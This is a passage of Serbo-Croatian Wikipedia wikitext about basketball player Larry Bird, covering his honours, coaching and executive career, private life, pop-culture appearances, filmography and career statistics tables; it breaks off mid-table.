web|url=http://www.foxsports.com/nba/gallery/10-reasons-still-love-larry-bird-60th-birthday-120716|title=10 reasons we still love Larry Bird on his 60th birthday|website=FOX Sports|accessdate=March 29, 2019}}</ref><ref name=birdsummary>{{cite web |url=http://www.nba.com/history/players/bird_summary.html |title=Larry Bird Summary |publisher=NBA |date= |access-date=May 13, 2015 |archive-url=https://web.archive.org/web/20150502141802/http://www.nba.com/history/players/bird_summary.html |archive-date=May 2, 2015 |url-status=dead }}</ref> dvije godine kasnije je kao igrač primljen u [[Košarkaška kuća slavnih Naismith Memorial|Kuću slavnih Naismith Memorial]],<ref>{{cite web|url=https://www.nytimes.com/1998/10/03/sports/pro-basketball-a-bashful-larry-bird-joins-hall-of-fame.html|title=PRO BASKETBALL; A Bashful Larry Bird Joins Hall Of Fame|first=Mike|last=Wise|date=October 3, 1998|accessdate=March 29, 2019|website=[[The New York Times]]}}</ref><ref>{{cite web|author= |url=http://www.hoophall.com/hall-of-famers/tag/larry-j-bird |title=The Naismith Memorial Basketball Hall of Fame – Hall of Famers |website=Hoop Hall |date=December 7, 1956 |access-date=May 13, 2015 |url-status=dead |archiveurl=https://web.archive.org/web/20090829080355/http://www.hoophall.com/hall-of-famers/tag/larry-j-bird |archivedate=August 29, 2009}}</ref> a [[2010.]] godine je po drugi put primljen u Kuću slavnih, ovaj put kao član "[[Muška olimpijska košarkaška reprezentacija Sjedinjenih Država iz 1992.|Dream Teama]]" iz [[1992.]] godine.<ref>{{cite web|url=https://www.cbsnews.com/news/1992-dream-team-inducted-into-hall-of-fame/|title=1992 Dream Team Inducted into Hall of Fame|website=CBS News|accessdate=March 29, 2019}}</ref> Godine [[1999.]] završio je na 30. mjestu [[ESPN]]-ove liste [[50 najvećih američkih spotraša 20. vijeka]]. Tokom karijere je igrao i kao [[nisko krilo]] i kao [[krilni centar]].<ref name="biography.com">{{cite web|url=https://www.biography.com/people/larry-bird-9213087|title=Larry Bird|website=Biography.com|accessdate=March 29, 2019}}</ref> {{quote box|width=33%|align=left|quote="Larry, rekao si mi samo jednu laž. Rekao si da će biti još jedan Larry Bird. Larry, nikada, ali nikada neće biti još jedan Larry Bird."|source=– [[Magic Johnson]] tokom govora na ceremoniji povodom Birdovog umirovljenja<ref>{{cite web|url=http://www.nba.com/history/Classic_NBA_Quotes_Index.html|publisher=NBA|title=Classic NBA Quotes|access-date=September 12, 2009|archive-url=https://web.archive.org/web/20091201214524/http://www.nba.com/history/Classic_NBA_Quotes_Index.html|archive-date=December 1, 2009|url-status=dead}}</ref>}} Bird je često opisivan kao jedan od najvećih košarkaša svih vremena i jedan od najboljih šutera u historiji.<ref name="nba.com1">{{cite web|url=http://www.nba.com/history/legends/profiles/larry-bird|title=Legends profile: Larry Bird|website=NBA|accessdate=March 29, 2019}}</ref><ref>{{cite web|url=https://boston.cbslocal.com/2016/06/22/whos-the-best-small-forward-of-all-time-larry-bird-or-lebron-james/|title=Who’s The Best Small Forward Of All Time: Larry Bird Or LeBron James?|date=June 22, 2016|website=CBS Boston|accessdate=March 29, 2019}}</ref><ref>{{cite web|url=https://bleacherreport.com/articles/1745748-lebron-james-michael-jordan-larry-bird-julius-erving-are-best-3-players-ever|title=LeBron James: Michael Jordan, Larry Bird, Julius Erving Are 3 Best Players Ever|first=Adam|last=Fromal|website=Bleacher Report|accessdate=March 29, 2019}}</ref> Čak je 12 puta bio [[NBA All-Star]].<ref>{{cite web|url=http://www.foxsports.com/southwest/gallery/who-has-made-the-most-nba-all-star-game-appearances-of-all-time-021519|title=Who Has Made The Most NBA All-Star Game Appearances of All-Time|date=Feb 15, 2019|website=FOX Sports|accessdate=March 29, 2019}}</ref> Sa Celticsima je osvojio tri naslova prvaka ([[1981.]], [[1984.]] i [[1986.]]),<ref name="biography.com"/> a dva je puta bio [[Nagrada Bill Russell za najkorisnijeg igrača NBA finala|MVP finalne serije]].<ref>{{cite web|url=https://www.cnn.com/2014/12/08/us/larry-bird-fast-facts/index.html|title=Larry Bird Fast Facts|date=2014-12-08|website=CNN|accessdate=March 29, 2019}}</ref> Tokom karijere je osvojio i tri uzastopne [[Nagrada za najkorisnijeg igrača NBA lige|nagrade za MVP-a lige]], što je prije njega uspjelo samo [[Bill Russell|Billu Russellu]] i [[Wilt Chamberlain|Wiltu Chamberlainu]].<ref>{{cite web|url=https://www.azcentral.com/story/sports/heat-index/2016/05/10/nba-mvp-steph-curry-joins-list-multiple-time-winners/84188984/|title=NBA MVP award: Steph Curry on list of multiple-time winners|website=AZCentral|accessdate=March 29, 2019}}</ref> Poznat je i kao jedan od najboljih "[[clutch]] igrača" u historiji košarke, igrajući iznimno dobro u utakmicama s visokim ulogom i u stresnim situacijama.<ref>{{cite web|url=https://news.abs-cbn.com/sports/05/25/17/who-is-the-most-clutch-player-in-nba-history|title=Who is the most clutch player in NBA history?|date=2017-05-25|website=ABS-CBN News|accessdate=March 29, 2019}}</ref><ref>{{cite web|url=https://bleacherreport.com/articles/514471-kobe-bryant-larry-bird-michael-jordan-and-the-10-best-closers-in-nba-history|title=Kobe Bryant, Larry Bird, Michael Jordan, and the 10 Best Closers in NBA History|first=Nicholas|last=Goss|website=Bleacher Report|accessdate=March 29, 2019}}</ref><ref>{{cite web|url=https://www.nba.com/magic/ranking-clutch-history-2-20180207|title=Ranking 10 Most Clutch Players in NBA History|date=2018-02-07|website=Orlando Magic|accessdate=March 29, 2019}}</ref> Larry Bird je svoju karijeru završio s prosjekom od 24.3 poena po utakmici, uz postotak šuta od .496, postotak slobodnih bacanja od .886 i prosjekom trica od .376. Prosječno je imao 10 skokova po utakmici u karijeri te 6.3 asistencije.<ref name="nba.com">{{cite web|url=https://www.nba.com/history/players/bird_summary.html|title=Larry Bird Summary|website=NBA|accessdate=March 29, 2019|archive-url=https://web.archive.org/web/20190329232438/https://www.nba.com/history/players/bird_summary.html|archive-date=March 29, 2019|url-status=dead}}</ref> Bird je bio prvi igrač u historiji lige koji je ostvario 50% šuta, 40% trica i 90% slobodnih bacanja u istoj sezoni, dok je istovremeno ostvario ligaški minimum za svaku od kategorija.<ref>{{cite web|url=https://www.opencourt-basketball.com/50-40-90-club-expanding/|title=The 50-40-90 Club Could Be Expanding|date=January 2, 2018|website=OpenCourt-Basketball|accessdate=March 29, 2019}}</ref> To mu je uspjelo čak dva puta.<ref>{{cite web|url=http://www.foxsports.com/wisconsin/story/statuesday-malcolm-brogdon-50-40-90-club-milwaukee-bucks-012219|title=StaTuesday: Bucks' Malcolm Brogdon on pace for rare 50-40-90 season|website=FOX Sports Wisconsin|date=January 22, 2019|accessdate=March 29, 2019}}</ref> Osvojio je i prva tri [[Natjecanje u tricama|Natjecanja u tricama]] tokom [[NBA All-Star vikend]]a,<ref>{{cite web|url=https://www.celticsblog.com/2014/10/30/7087479/larry-legends-three-point-shootout-three-peat|title=How Larry Bird won the first 3 All-Star shootouts|first=Professor|last=Parquet|date=October 30, 2014|website=CelticsBlog|accessdate=March 29, 2019}}</ref> a trice je znao vježbati zatvorenih očiju.<ref name="nba.com"/> Osim kao šuter, Bird se pamti i kao izvrstan asistent<ref>{{cite web|url=https://www.sbnation.com/2017/12/15/16780624/lebron-james-history-lesson-larry-bird-triple-doubles|title=Professor LeBron delivered a history lesson on Larry Bird’s legendary game|first=Chris|last=Greenberg|date=December 15, 2017|website=SBNation|accessdate=March 29, 2019}}</ref> i obrambeni igrač.<ref name="biography.com"/> Iako je bio relativno spor, Bird je imao dobar osjećaj za anticipaciju protivničke igre što ga je činilo kvalitetnim obrambenim igračem.<ref name="nba.com1"/> U karijeri je ukupno ukao 1,556 lopti.<ref>{{cite web |url=https://www.basketball-reference.com/leaders/STL_career.html |title=Career Leaders and Records for Steals |website=Basketball Reference |access-date=July 11, 2010 |archive-date=2010-07-16 |archive-url=https://web.archive.org/web/20100716122005/http://www.basketball-reference.com/leaders/stl_career.html |dead-url=yes }}</ref> U tri je navrata imenovan u drugu obrambenu momčad lige.<ref name="nba.com1"/> Bird je bio jedan od najdražih igrača legendarnog trenera [[Red Auerbach|Reda Auerbacha]], koji ga je nazvao najboljim igračem svih vremena.<ref>{{cite news |url=http://sportsillustrated.cnn.com/basketball/nba/1998/bird/flashbacks/1988flash.html |title=CNN.com |work=Sports Illustrated |date=April 6, 1979 |access-date=July 11, 2010 |archive-date=2013-09-30 |archive-url=https://web.archive.org/web/20130930041901/http://sportsillustrated.cnn.com/basketball/nba/1998/bird/flashbacks/1988flash.html |dead-url=yes }}</ref><ref>{{Cite web |url=http://sportsillustrated.cnn.com/basketball/nba/1998/bird/flashbacks/1988flash.html |title=Archived copy |access-date=June 26, 2005 |archive-url=https://web.archive.org/web/20130404102817/http://sportsillustrated.cnn.com/basketball/nba/1998/bird/flashbacks/1988flash.html |archive-date=April 4, 2013 |url-status=dead }}</ref> Njegovi skromni korijeni donijeli su mu poznati nadimak "The Hick from French Lick",<ref>{{cite web|url=http://www.sportingnews.com/us/us/nba/photos/larry-bird-photos-classic-boston-celtics-legend-indiana/11ffr6pyv6yeu1jzstf3k1f38w|title=Larry Bird in photos: The 'Hick from French Lick' becomes Celtics legend|website=Sporting News|accessdate=March 29, 2019|archive-date=2019-03-29|archive-url=https://web.archive.org/web/20190329230148/http://www.sportingnews.com/us/us/nba/photos/larry-bird-photos-classic-boston-celtics-legend-indiana/11ffr6pyv6yeu1jzstf3k1f38w|dead-url=yes}}</ref> a bio je poznat i kao "The Great White Hope" ([[srpskohrvatski]]: "Velika bijela nada")<ref name="magicbird" /> i "Larry Legend" ([[srpskohrvatski]]: "Larry legenda").<ref>{{cite web |url=http://www.nba.com/history/players/bird_summary.html |website=NBA |title=Larry Bird Summary |access-date=June 3, 2009 |archive-url=https://web.archive.org/web/20090429004945/http://www.nba.com/history/players/bird_summary.html |archive-date=April 29, 2009 |url-status=dead }}</ref> Bio je i zloglasan po svom psovanju i uvredama na terenu.<ref>{{cite web|url=https://www.nbcsports.com/boston/boston-celtics/talking-talk-86-celtics-trash-talking-tale|title=Talking the talk: An '86 Celtics trash-talking tale|date=January 20, 2016|website=NBC Sports Boston|accessdate=March 29, 2019}}</ref><ref>{{cite web|url=https://ftw.usatoday.com/2018/05/larry-bird-trash-talk-story-kevin-mchale-dan-patrick-show|title=Kevin McHale shares a classic Larry Bird trash talk story|date=May 1, 2018|website=USA Today|accessdate=March 29, 2019}}</ref> Na dodjeli [[NBA Awards 2019.|NBA nagrada 2019.]] godine, Bird je s Magicom Johnsonom podijelio [[NBA nagrada za životno djelo|nagradu za životno djelo]].<ref>{{cite web|title=Larry Bird and Magic Johnson Receive NBA Lifetime Achievement Award|url=https://people.com/sports/nba-awards-2019-larry-bird-magic-johnson-lifetime-achievement/|website=[[People (magazine)|People]]|date=June 24, 2019|accessdate=June 24, 2019}}</ref> == Trenerska i službenička karijera == [[File:Monumento larry bird.jpg|thumb|Spomen-ploča Larryju Birdu na [[Quincy Market]]u u [[Boston]]u.]] Nakon umirovljenja, Celticsi su zaposlili Birda kao posebnog košarkaškog savjetnika od [[1992.]] do [[1997.]] godine.<ref>{{cite web|url=https://www.history.com/this-day-in-history/larry-bird-hangs-it-up|title=Larry Bird hangs it up|website=History.com|accessdate=March 29, 2019}}</ref> Godine [[1997.]] prihvatio je mjesto glavnog trenera [[Indiana Pacers]]a,<ref>{{cite web|url=https://www.nytimes.com/1997/08/10/sports/bird-shoots-for-coaching-greatness-with-the-pacers.html|title=Bird Shoots for Coaching Greatness With the Pacers|first=Ira|last=Berkow|date=August 10, 1997|accessdate=March 29, 2019|website=The New York Times}}</ref> rekavši odmah kako se ne namjerava zadržati na poziciji više od tri godine.<ref>{{cite web|url=https://www.chicagotribune.com/news/ct-xpm-2000-06-04-0006040151-story.html|title=After the NBA Finals, Larry Bird Will Quit as Indiana's Coach. His Competitiveness Has Taken Its Toll. But Don't Bet That He Won't Be Back.|date=2000-06-04|first=Malcolm |last=Moran|website=Chicago Tribune|accessdate=March 29, 2019}}</ref> Iako nije imao nikakvog trenerskog iskustva, Bird je vodio Pacerse do omjera 58:24, što je bio tadašnji klupski rekord, u svojoj debitantskoj sezoni,<ref name="nba.com2">{{cite web|url=https://www.nba.com/pacers/history/franchise_history.html|title=Year by Year with the Pacers|website=Indiana Pacers|accessdate=March 29, 2019}}</ref> a tada dominantne [[Chicago Bulls]]e doveo je do sedme utakmice u finalu Istoka. Za te je uspjehe proglašen [[Nagrada za trenera godine NBA lige|trenerom godine]].<ref>{{cite web|url=http://www.espn.com/nba/story/_/id/19264939|title=Larry Bird stepping down from Pacers post|date=April 28, 2017|website=ESPN|accessdate=March 29, 2019}}</ref> Pacersi su pod Birdom u naredne dvije sezone osvajali Centralnu diviziju, a [[2000.]] godine su uspjeli doći do [[NBA finale|NBA finala]], prvi put u historiji kluba.<ref name="nba.com2"/> Nakon poraza od [[Los Angeles Lakers]]a u finalu, Bird se povukao s pozicije nedugo nakon završetka sezone, ispunivši tako obećanje da neće voditi klub više od tri godine.<ref>{{cite web|url=https://www.virginiafirst.com/sports/bird-time-to-do-something-else/703742948|title=For 2nd time, Hall-of-Famer Bird resigns as Pacers president|first=Michael|last=Marot|date=May 1, 2017|website=Virginia First|accessdate=March 29, 2019|archive-date=2019-03-29|archive-url=https://web.archive.org/web/20190329225356/https://www.virginiafirst.com/sports/bird-time-to-do-something-else/703742948|dead-url=yes}}</ref> Godine [[2003.]], Bird je imenovan predsjednikom košarkaških operacija Indiana Pacersa.<ref>{{cite web|url=https://www.usatoday.com/story/sports/nba/2017/04/28/larry-bird-pacers-president/101027102/|title=Larry Bird resigns as Pacers president, Kevin Pritchard to take over|website=USA Today|accessdate=March 29, 2019}}</ref> Po završetku [[NBA sezona 2011./2012.|sezone 2011./2012.]], Bird je imenovan [[Nagrada za NBA službenika godine|službenikom godine]], postavši tako prva i jedina osoba u historiji NBA lige koja je proglašena najboljim igračem, najboljim trenerom i najboljim službenikom.<ref>{{cite web|url=https://sports.yahoo.com/news/pacers-larry-bird-nba-executive-180548406--nba.html|archive-url=https://web.archive.org/web/20120712223528/https://sports.yahoo.com/news/pacers-larry-bird-nba-executive-180548406--nba.html|archive-date=2012-07-12|title=Pacers' Larry Bird is NBA Executive of the Year|date=July 12, 2012|website=Yahoo! Sports|accessdate=March 29, 2019}}</ref> Dana [[27. lipnja]] [[2012.]] godine, dan prije [[NBA draft]]a, objavljeno je kako Pacersi i Bird prekidaju suradnju, a Bird je među razlozima odlaska naveo zdravstvene probleme.<ref>{{cite news|title=Indiana Pacers part ways with Larry Bird|url=http://www.cbsnews.com/8301-400_162-57461784/indiana-pacers-part-ways-with-larry-bird/|publisher=CBS|agency=AP|access-date=June 27, 2012|archivedate=2013-08-08|archiveurl=https://web.archive.org/web/20130808012610/http://www.cbsnews.com/8301-400_162-57461784/indiana-pacers-part-ways-with-larry-bird/|deadurl=yes}}</ref> Bird se već [[2013.]] godine vratio na poziciju u klubu,<ref name="return" /> gdje je ostao do [[2017.]] godine. Nakon odlaska, ostao je u klubu kao savjetnik.<ref>{{cite web|title=Bird Steps Down; Pritchard Named President of Basketball Operations|url=http://www.nba.com/pacers/news/bird-steps-down-pritchard-named-president-basketball-operations|website=NBA|access-date=May 2, 2017|date=May 1, 2017}}</ref> == Privatni život == Bird se već [[1975.]] godine oženio za Janet Condru, ali taj je brak bio kratkotrajan i razveli su se nakon manje od godinu dana. U međuvremenu su se pokušali pomiriti te su [[1977.]] godine dobili kćer Corrie, ali odnos svejedno nije opstao.<ref name="auto1">{{Cite web|url=https://www.espn.com/classic/s/add_bird_larry_new.html|title=ESPN Classic - Bird had eye for victory|website=www.espn.com}}</ref> Godine [[1989.]] oženio se s Dinom Mattingly, s kojom je posvojio dvoje djece, Connera i Mariah.<ref name="auto1"/> == Bird u popularnoj kulturi == Bird je zbog svog ugleda na terenu, ali i izvan njega često referenciran u popularnoj kulturi. Primjerice, ptičica na logu društvene mreže [[Twitter]] nosi ime Larry po Larryju Birdu,<ref>{{cite news |url=https://sports.yahoo.com/blogs/nba-ball-dont-lie/twitter-logo-named-larry-bird-005145351.html |title=Twitter's Logo Is Named After Larry Bird |work=[[Yahoo! Sports]] |first=Eric |last=Freeman |date=August 2011 |access-date=March 1, 2012 |archive-date=2017-10-19 |archive-url=https://web.archive.org/web/20171019085639/https://sports.yahoo.com/blogs/nba-ball-dont-lie/twitter-logo-named-larry-bird-005145351.html |url-status=dead }}</ref> a bend [[Dispatch (bend)|Dispatch]] napisao je pjesmu "Just Like Larry" u čast Larryja Birda, koji je bio njihov junak iz djetinjstva.<ref>{{cite web|url=http://www.songmeanings.net/lyric.php?lid=19990 |title=lyrics &#124; Dispatch&nbsp;– Just Like Larry |publisher=SongMeanings |access-date=July 11, 2010}}</ref> Također, [[SF|znanstvenofantastični]] [[sitcom]] ''[[The Neighbors (TV serija, 2012)|The Neighbors]]'' ima lik vanzemaljca koji se zove Larry Bird, a tumačio ga je [[Simon Templeman]].<ref>{{cite web | url=http://beta.abc.go.com/shows/the-neighbors/bios/larry-bird | title=Simon Templeman as Larry Bird – The Neighbors Characters & Cast Bios |website=ABC | date=November 2012 | url-status=dead | archiveurl=https://web.archive.org/web/20130510145726/http://beta.abc.go.com/shows/the-neighbors/bios/larry-bird | archivedate=May 10, 2013 | df=mdy-all }}</ref> Još od 80-ih godina, Bird se pojavljivao u video igrama. Prva od njih bila je ''[[One on One: Dr. J vs. Larry Bird]]'', u kojoj Bird igra 1-na-1 protiv [[Julius Erving|Juliusa Ervinga]], dok je u nastavku, ''[[Jordan vs Bird: One on One]]'', igrao protiv [[Michael Jordan|Michaela Jordana]]. Bird se pojavio kao igrač u igri ''[[NBA Jam (video igra, 2010)|NBA Jam]]'',<ref>{{cite web|url=http://kotaku.com/5638224/your-nba-jam-rosters-are-set |title=Your NBA Jam Rosters Are Set |website=Kotaku |access-date=May 13, 2015}}</ref> a pojavio se i na naslovnici igre ''[[NBA 2K12]]'' zajedno s [[Magic Johnson|Magicom Johnsonom]] i [[Michael Jordan|Michaelom Jordanom]]. Birdovo rivalstvo i prijateljstvo s Magicom Johnsonom također je iskorišteno u popularnoj kulturi. Njih su dvojica zajedno snimili reklamu za kompaniju [[Converse]], gdje su reklamirali nove modele tenisica, a zajedno s [[Jackie MacMullan]] napisali su i knjigu naslova ''When The Game Was Ours''. Bird je snimio i reklamu za [[McDonald's]] s [[Michael Jordan|Michaelom Jordanom]], gdje su se njih dvojica natjecali u košarkaškim vještinama za Big Mac što ga je Jordan donio;<ref>{{cite web| title= "The Showdown" - Bird vs. Jordan McDonald's ad - 1993| url=https://www.youtube.com/watch?v=1shK-j_u6LI| via=YouTube| access-date= November 27, 2020}}</ref> godine [[1994.]] snimljen je i svojevrsni nastavak reklame u kojem se Jordan i Bird natječu za dva Big Maca, pri čemu im se pridružio i [[Charles Barkley]], koji je htio igrati s njima, ali su ga njih dvojica stalno odbijali.<ref>{{cite web| title= 1994 - Charles Barkley Asks Michael Jordan & Larry Bird, "Can I Play?"| url=https://www.youtube.com/watch?v=NPoTaTYzp_U| via=YouTube| access-date= November 27, 2020}}</ref> McDonald's je [[2010.]] godine tokom [[Super Bowl]]a emitirao novu verziju reklame s [[Dwight Howard|Dwightom Howardom]] i [[LeBron James|LeBronom Jamesom]], koji se također natječu za Jamesov Big Mac, s tim da se na kraju reklame pojavljuje Bird i pohvali igrače, ali nakon što im je pojeo Big Mac. Bio je to prikladan ''hommage'' nikad razriješenom natjecanju Birda i Jordana iz prve reklame, a komični efekt postignut je kada su se Howard i James međusobno pogledavali i pitali tko je uopće Bird.<ref>{{cite web |title=FULL VERSION: McDonald's Commercial with LeBron James and Dwight Howard |url=https://www.youtube.com/watch?v=PmrTDZy3f2M |via=YouTube |access-date=April 16, 2011}}</ref> === Filmografija === Larry Bird je glumio u ukupno tri filma u svom životu, a u sva tri filma glumio je fiktivnu verziju samoga sebe. Uz to, bio je tema nekoliko dokumentarnih filmova, ali oni nisu uvršteni na ovaj popis. Birdova filmografija izgleda ovako:<ref>{{cite web|url=https://www.imdb.com/name/nm0083399/ |title=Larry Bird|website=[[IMDb]]|access-date=May 13, 2015}}</ref> {| class="wikitable" width="45%" |- ! colspan="5"| Filmovi |- ! Godina ! Film ! Režija ! Uloga ! Napomene |- | {{center|[[1994.]]}} | ''[[Blue Chips]]'' | [[William Friedkin]] | On sam | |- | rowspan="2" | {{center|[[1996.]]}} | ''[[Space Jam]]'' | [[Joe Pytka]] | On sam | |- | ''[[Celtic Pride]]'' | [[Tom DeCerchio]] | On sam | |} == Statistike == === Igračka karijera === {| class="toccolours" style="white-space: nowrap;" |- ! colspan="6" style="background:#f2f2f2; border:1px solid #aaa;"| Legenda |- | style="background-color: #F2F2F2; border: 1px solid black;" | &nbsp;&nbsp;U | Odigranih utakmica | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;&nbsp;S&nbsp; | Startanih utakmica | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;MPU&nbsp; | Minuta po utakmici |- | style="background-color: #F2F2F2; border: 1px solid black;" | &nbsp;P%&nbsp; | style="padding-right: 8px" | Postotak koševa | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;3P%&nbsp; | style="padding-right: 8px" | Postotak trica | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;SB%&nbsp; | Postotak slobodnih bacanja |- | style="background-color: #F2F2F2; border: 1px solid black;" | &nbsp;SPU&nbsp; | Skokova po utakmici | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;APU&nbsp; | Asistencija po utakmici | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;UPU&nbsp; | Ukradenih lopti po utakmici |- | style="background-color: #F2F2F2; border: 1px solid black;" | &nbsp;BPU&nbsp; | Blokada po utakmici | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;PPU&nbsp; | Poena po utakmici | style="background-color: #F2F2F2; border: 1px solid black" | &nbsp;'''Bold'''&nbsp; | Rekord karijere |- | style="background-color: #afe6ba; border: 1px solid black;" | &nbsp;†&nbsp; | Osvojio naslov prvaka | style="background-color: #CFECEC; border: 1px solid black;" | &nbsp;*&nbsp; | Rekorder lige te sezone | style="background-color: #E0CEF2; border: 1px solid black;" | &nbsp;{{double-dagger}}&nbsp; | Rekorder NBA lige |- |} ==== Sveučilišna karijera ==== {| class="wikitable sortable" style="text-align:right;" ! Godina ! Momčad ! {{abbr|U|Odigranih utakmica}} ! {{abbr|S|Startanih utakmica}} ! {{abbr|MPU|Minuta po utakmici}} ! {{abbr|P%|Postotak koševa}} ! {{abbr|3P%|Postotak trica}} ! {{abbr|SB%|Postotak slobodnih bacanja}} ! {{abbr|SPU|Skokova po utakmici}} ! {{abbr|APU|Asistencija po utakmici}} ! {{abbr|UPU|Ukradenih lopti po utakmici}} ! {{abbr|BPU|Blokada po utakmici}} ! {{abbr|PPU|Poena po utakmici}} |- | style="text-align:left;"| [[1976.]] | style="text-align:left;"| [[Indiana State Sycamores]] | 28 || ... || 36.9 || '''.544''' || ... || '''.840''' || 13.3 || 4.4 || ... || ... || '''32.8''' |- | style="text-align:left;"| [[1977.]] | style="text-align:left;"| [[Indiana State Sycamores]] | 32 || ... || ... || .524 || ... || .793 || 11.5 || 3.9 || ... || ... || 30.0 |- | style="text-align:left;"| [[1978.]] | style="text-align:left;"| [[Indiana State Sycamores]] | '''34''' || ... || ... || .532 || ... || .831 || '''14.9''' || '''5.5''' || ... || ... || 28.6 |- class=sortbottom | style="text-align:center;" colspan=2| '''Karijera'''<ref name="Larry Bird" /> | 94 || ... || ... || .533 || ... || .822 || 13.3 || 4.6 || ... || ... || 30.3 |- {{S-end}} ==== Profesionalna karijera ==== ===== Regularna sezona ===== {| class="wikitable sortable" style="text-align:right;" ! Godina ! Momčad ! {{abbr|U|Odigranih utakmica}} ! {{abbr|S|Startanih utakmica}} ! {{abbr|MPU|Minuta po utakmici}} ! {{abbr|P%|Postotak koševa}} ! {{abbr|3P%|Postotak trica}} ! {{abbr|SB%|Postotak slobodnih bacanja}} ! {{abbr|SPU|Skokova po utakmici}} ! {{abbr|APU|Asistencija po utakmici}} ! {{abbr|UPU|Ukradenih lopti po utakmici}} ! {{abbr|BPU|Blokada po utakmici}} ! {{abbr|PPU|Poena po utakmici}} |- | style="text-align:left;"| [[1979.]] | style="text-align:left;"| [[Boston Celtics]] | '''82''' || '''82''' || 36.0 || .474 || .406 || .836 || 10.4 || 4.5 || 1.7 || .6 || 21.3 |- | style="text-align:left; background:#afe6ba;"| [[1980.]]† | style="text-align:left;"| [[Boston Celtics]] | '''82''' || '''82''' || 39.5 || .478 || .270 || .863 || 10.9 || 5.5 || '''2.0''' || .8 || 21.2 |- | style="text-align:left;"| [[1981.]] | style="text-align:left;"| [[Boston Celtics]] | 77 || 58 || 38.0 || .503 || .212 || .863 || 10.9 || 5.8 || 1.9 || .9 || 22.9 |- | style="text-align:left;"| [[1982.]] | style="text-align:left;"| [[Boston Celtics]] | 79 || 79 || 37.7 || .504 || .286 || .840 || '''11.0''' || 5.8 || 1.9 || .9 || 23.6 |- | style="text-align:left; background:#afe6ba;"| [[1983.]]† | style="text-align:left;"| [[Boston Celtics]] | 79 || 77 || 38.3 || .492 || .247 || style="background:#cfecec;"| .888* || 10.1 || 6.6 || 1.8 || .9 || 24.2 |- | style="text-align:left;"| [[1984.]] | style="text-align:left;"| [[Boston Celtics]] | 80 || 77 || style="background:#cfecec;"| 39.5* || .522 || '''.427''' || .882 || 10.5 || 6.6 || 1.6 || '''1.2''' || 28.7 |- | style="text-align:left; background:#afe6ba;"| [[1985.]]† | style="text-align:left;"| [[Boston Celtics]] | '''82''' || 81 || 38.0 || .496 || .423 || style="background:#cfecec;"| .896* || 9.8 || 6.8 || '''2.0''' || .6 || 25.8 |- | style="text-align:left;"| [[1986.]] | style="text-align:left;"| [[Boston Celtics]] | 74 || 73 || style="background:#cfecec;"| '''40.6'''* || .525 || .400 || style="background:#cfecec;"| .910* || 9.2 || '''7.6''' || 1.8 || .9 || 28.1 |- | style="text-align:left;"| [[1987.]] | style="text-align:left;"| [[Boston Celtics]] | 76 || 75 || 39.0 || '''.527''' || .414 || .916 || 9.3 || 6.1 || 1.6 || .8 || '''29.9''' |- | style="text-align:left;"| [[1988.]] | style="text-align:left;"| [[Boston Celtics]] | 6 || 6 || 31.5 || .471 || ... || '''.947''' || 6.2 || 4.8 || 1.0 || .8 || 19.3 |- | style="text-align:left;"| [[1989.]] | style="text-align:left;"| [[Boston Celtics]] | 75 || 75 || 39.3 || .473 || .333 || style="background:#cfecec;"| .930* || 9.5 || 7.5 || 1.4 || .8 || 24.3 |- | style="text-align:left;"| [[1990.]] | style="text-align:left;"| [[Boston Celtics]] | 60 || 60 || 38.0 || .454 || .389 || .891 || 8.5 || 7.2 || 1.8 || 1.0 || 19.4 |- | style="text-align:left;"| [[1991.]] | style="text-align:left;"| [[Boston Celtics]] | 45 || 45 || 36.9 || .466 || .406 || .926 || 9.6 || 6.8 || .9 || .7 || 20.2 |- class=sortbottom | style="text-align:center;" colspan=2| '''Karijera'''<ref name="Larry Bird" /> | 897 || 870 || 38.4 || .496 || .376 || .886 || 10.0 || 6.3 || 1.7 || 0.8 || 24.3 |- class=sortbottom | style="text-align:center;" colspan=2| '''All-Star''' | 10 || 9 || 28.7 || .423 || .231 || .844 || 7.9 || 4.1 || 2.3 || 0.3 || 13.4 |- {{S-end}} ===== Playoff ===== {| class="wikitable sortable" style="text-align:right;" ! Godina ! Momčad ! {{abbr|U|Odigranih utakmica}} ! {{abbr|S|Startanih utakmica}} ! {{abbr|MPU|Minuta po utakmici}} ! {{abbr|P%|Postotak koševa}} ! {{abbr|3P%|Postotak trica}} ! {{abbr|SB%|Postotak slobodnih bacanja}} ! {{abbr|SPU|Skokova po utakmici}} ! {{abbr|APU|Asistencija po utakmici}} ! {{abbr|UPU|Ukradenih lopti po utakmici}} ! {{abbr|BPU|Blokada po utakmici}} ! {{abbr|PPU|Poena po utakmici}} |- | style="text-align:left;"| [[1980.]] | style="text-align:left;"| [[Boston Celtics]] | 9 || 9 || 41.3 || .469 || .267 || .880 || 11.2 || 4.7 || 1.6 || 0.9 || 21.3 |- | style="text-align:left; background:#afe6ba;"| [[1981.]]† | style="text-align:left;"| [[Boston Celtics]] | 17 || 17 || 44.1 || .470 || .375 || .894 || '''14.0''' || 6.1 || 2.3 || 1.0 || 21.9 |- | style="text-align:left;"| [[1982.]] | style="text-align:left;"| [[Boston Celtics]] | 12 || 12 || 40.8 || .427 || .167 || .822 || 12.5 || 5.6 || 1.9 || '''1.4''' || 17.8 |- | style="text-align:left;"| [[1983.]] | style="text-align:left;"| [[Boston Celtics]] | 6 || 6 || 40.0 || .422 || .250 || .828 || 12.5 || 6.8 || 2.2 || 0.5 || 20.5 |- | style="text-align:left; background:#afe6ba;"| [[1984.]]† | style="text-align:left;"| [[Boston Celtics]] | '''23''' || '''23''' || 41.8 || '''.524''' || '''.412''' || .879 || 11.0 || 5.9 || '''2.3''' || 1.2 || '''27.5''' |- | style="text-align:left;"| [[1985.]] | style="text-align:left;"| [[Boston Celtics]] | 20 || 20 || 40.8 || .461 || .280 || .890 || 9.1 || 5.8 || 1.7 || 1.0 || 26.0 |- | style="text-align:left; background:#afe6ba;"| [[1986.]]† | style="text-align:left;"| [[Boston Celtics]] | 18 || 18 || 42.8 || .517 || .411 || '''.927''' || 9.3 || 8.2 || 2.1 || .6 || 25.9 |- | style="text-align:left;"| [[1987.]] | style="text-align:left;"| [[Boston Celtics]] | '''23''' || '''23''' || 44.1 || .476 || .341 || .912 || 10.0 || 7.2 || 1.2 || 0.8 || 27.0 |- | style="text-align:left;"| [[1988.]] | style="text-align:left;"| [[Boston Celtics]] | 17 || 17 || '''44.9''' || .450 || 